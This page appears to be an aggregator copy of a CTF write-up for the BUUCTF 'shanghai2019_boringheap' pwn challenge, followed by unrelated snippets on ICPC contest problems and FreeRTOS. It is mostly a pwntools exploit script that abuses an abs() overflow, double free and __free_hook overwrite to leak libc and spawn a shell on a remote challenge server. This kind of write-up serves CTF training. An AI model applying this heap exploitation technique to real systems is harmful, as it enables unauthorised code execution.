代码先锋网 代码片段及技术文章聚合

shanghai2019_boringheap

技术标签: 题目  BUUCTF  ctf  pwn

思路

abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hook
exp:

from pwn import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',26942)
elf=ELF('./pwn')
libc=elf.libc

def add(size,content):
	p.sendlineafter('Exit','1')
	p.sendlineafter('Size:',str(size))
	p.sendlineafter('Content:',content)

def edit(idx,wher,content):
	p.sendlineafter('Exit','2')
	p.sendlineafter('?',str(idx))
	p.sendlineafter('?',str(wher))
	p.sendlineafter('Content:',content)

def delete(idx):
	p.sendlineafter('Exit','3')
	p.sendlineafter('?',str(idx))

def show(idx):
	p.sendlineafter('Exit','4')
	p.sendlineafter('?',str(idx))

for i in range(20):
	add(2,'/bin/sh\x00')
payload='\x11'*0x18+p64(0x481)
edit(0,0x80000000,payload)
delete(0)
add(2,'aaaa')
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(2,'bbbb')
delete(1)
delete(21)
add(2,p64(free_hook))
add(2,'doudou')
add(2,p64(system))
#show(6)
delete(18)
p.interactive()
版权声明:本文为qq_37433000原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_37433000/article/details/104382936

智能推荐

The Preliminary Contest for ICPC Asia Shanghai 2019 G , F

G Substring hash+滑动窗口即可。 问多个串在原串特殊出现次数。即:首位相同,中间字符出现次数相同。 那我们可以把首位乘上131进制的2个固定位。然后中间字符每个字符按字符种类赋予相应的位。 最后hash相同的就是特殊相同的2个串 每个长度m的询问字符串,只需要滑动窗口存进unordered里,复杂度On q次Oq*n 会T; 但题目保证长度和小于100000,所以不同长度的字符串最...

The Preliminary Contest for ICPC Asia Shanghai 2019

A B C D E F G H I J K L 补 sineMora cycleke cycleke 补 OwenCreeper 补 . . sineMora x cycleke 这次网络赛中途出现了一些策略上的失误,中途全队都在查F代码,还在E上花了太长的时间, 没有及时弃掉。 这里写一下我做(补)的题的简要题解。 A.Lightning Routing I 题意:给出一棵带边权树,每次修改一条...

The Preliminary Contest for ICPC Asia Shanghai 2019

The Preliminary Contest for ICPC Asia Shanghai 2019 上海网络赛 B. Light bulbs 写法1:线段树,节点维护区间亮灯数量...

2019 ICPC Asia Shanghai - A Simple Problem On A Tree

题目链接:2019 ICPC Asia Shanghai - A Simple Problem On A Tree 一道码农题。可能出题人想锻炼我们的代码能力。QAQ 就是线段树维护三次方,然后转到树上,就用树剖维护即可。 特别要注意几个lazy的转换。优先级也要注意。 AC代码:...

猜你喜欢

The 2019 ICPC Asia Shanghai Regional Contest B

https://ac.nowcoder.com/acm/contest/4370/B 判断是否有数是另一个数的前缀,字典树模板。...

The Preliminary Contest for ICPC Asia Shanghai 2019 B. Light bulbs(离散 + 差分)

The Preliminary Contest for ICPC Asia Shanghai 2019 B. Light bulbs 题目 有n盏灯,初始都是灭的状态,m次操作,每次操作将一个区间的灯状态改变,问最终操作完成后几盏灯是亮着的。 分析 注意到 1e3 的样例,n 最大 1e6,就是说 On 会超时, 这类问题显然用差分做,求完差分数组,用前缀和恢复原来数组时,不用遍历完,只需要考虑区...

The Preliminary Contest for ICPC Asia Shanghai 2019 B Light bulbs (离散的差分)

复杂度分析,询问一千次,区间长1e6,O(1e9)超时。 那么我们知道对于差分来说,没必要一个一个求,只需要知道区间长就可以了,所以我们定义结构体差分节点,一个头结点,一个尾节点。 这样tail.loc-head.loc就是整个区间长,该区间的实际的大小就是 Add标记的大小,Add标记就是从头加到尾。 排序2*m个差分节点,对于loc相同的节点,说明是同一个位置的差分,add合并就可以了,不需要...

STM32之FreeRTOS:(一) 中断配置和临界段的使用

STM32之FreeRTOS:(一) 中断配置和临界段的使用 文章目录 STM32之FreeRTOS:(一) 中断配置和临界段的使用 前言 一、stm32的NVIC 分组配置 二、FreeRTOS 相关API函数 1.开关中断 2.临界段代码 1、taskENTER_CRITICAL()和 taskEXIT_CRITICAL()任务级临界代码保护使用方法如下: 2. taskENTER_CRITI...